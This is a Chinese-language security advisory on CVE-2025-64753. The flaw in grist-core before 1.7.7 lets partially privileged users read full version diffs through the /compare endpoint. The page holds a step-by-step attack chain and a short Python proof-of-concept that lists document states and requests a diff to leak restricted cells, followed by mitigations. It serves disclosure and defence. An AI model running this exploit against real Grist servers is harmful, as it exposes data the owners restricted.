IPBUF安全漏洞报告
English
CVE-2025-64753 CVSS 5.3 中危

CVE-2025-64753 grist-core 文档版本对比API未授权信息泄露漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-64753
漏洞类型
访问控制不当/信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
grist-core

相关标签

访问控制漏洞信息泄露grist-core权限绕过API安全版本历史泄露

漏洞概述

grist-core是一款开源的电子表格托管服务器,允许用户在线创建、编辑和协作处理电子表格。在1.7.7之前的版本中存在严重的安全漏洞:系统对文档版本历史访问的权限控制存在缺陷。具体表现为,即使普通用户仅被授予对文档的部分读取权限(如只能访问某些工作表或列),该用户仍可通过特定API端点获取文档的完整版本历史记录,包括所有版本的哈希值以及完整的变更列表。这意味着攻击者可以绕过预期的访问控制策略,获取其本不应该有权限查看的单元格数据、列信息甚至整个数据表的变更历史。该漏洞的CVSS评分为5.3,属于中等严重程度,但由于涉及机密性影响(可获取敏感数据),仍需及时修复。

技术细节

该漏洞的根本原因在于grist-core对`/compare`端点的权限验证不充分。在正常的访问控制设计中,当用户对某个文档仅拥有部分读取权限时,系统应当过滤掉用户无权访问的数据内容。然而,在受影响版本中,`/compare`端点允许任何拥有文档访问权限的用户请求任意两个版本之间的完整差异信息,而没有验证用户是否对比较结果中涉及的所有数据表、列或单元格具有读取权限。攻击者只需持有文档的部分访问权限(如只读某个特定工作表),即可构造针对`/compare`端点的请求,传入任意两个历史版本的标识符,从而获取包含敏感数据在内的完整变更记录。这包括其他工作表中的数据、其他列的信息等。修复版本1.7.7通过增强权限检查,确保只有拥有文档完整读取权限的用户才能访问`/compare`端点。

攻击链分析

STEP 1
步骤1
攻击者获取目标grist-core文档的部分读取权限(如通过合法渠道获得对某个工作表的只读权限)
STEP 2
步骤2
攻击者通过/api/documents/{docId}/states端点获取文档的所有历史版本信息,包括版本ID和哈希值
STEP 3
步骤3
攻击者构造针对/compare端点的请求,传入任意两个历史版本的标识符
STEP 4
步骤4
系统因权限检查不完善,返回完整的版本差异信息,包括攻击者本无权限访问的单元格、列和数据表的变更内容
STEP 5
步骤5
攻击者获取敏感数据,造成信息泄露,完成攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-64753 PoC - grist-core Unauthorized Information Disclosure # Target: grist-core < 1.7.7 # Vulnerability: /compare endpoint allows users with partial read access to # obtain full version history including unauthorized data BASE_URL = "http://target-grist-server.com" API_KEY = "user_partial_access_api_key" DOCUMENT_ID = "vulnerable_document_id" headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # Step 1: Get document states (versions) states_url = f"{BASE_URL}/api/documents/{DOCUMENT_ID}/states" response = requests.get(states_url, headers=headers) states = response.json() # Step 2: Compare two versions (exploiting the vulnerability) # Even with partial access, we can get full diff including unauthorized data if len(states) >= 2: compare_url = f"{BASE_URL}/api/documents/{DOCUMENT_ID}/compare" payload = { "v1": states[-2]["stateId"], # Previous version "v2": states[-1]["stateId"] # Current version } response = requests.post(compare_url, json=payload, headers=headers) # This will return full changes even for cells/tables user can't access full_changes = response.json() print(f"Full changes leaked: {full_changes}") # Mitigation: Remove sensitive history # POST /api/documents/{DOCUMENT_ID}/states/remove

影响范围

grist-core < 1.7.7

防御指南

临时缓解措施
作为临时缓解措施,可采取以下方法之一:1) 使用/api/documents/{docId}/states/remove端点删除敏感的文档历史记录;2) 在反向代理或WAF层面阻止/compare端点的访问;3) 限制用户对文档的访问权限,确保敏感数据不在用户可见范围内。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表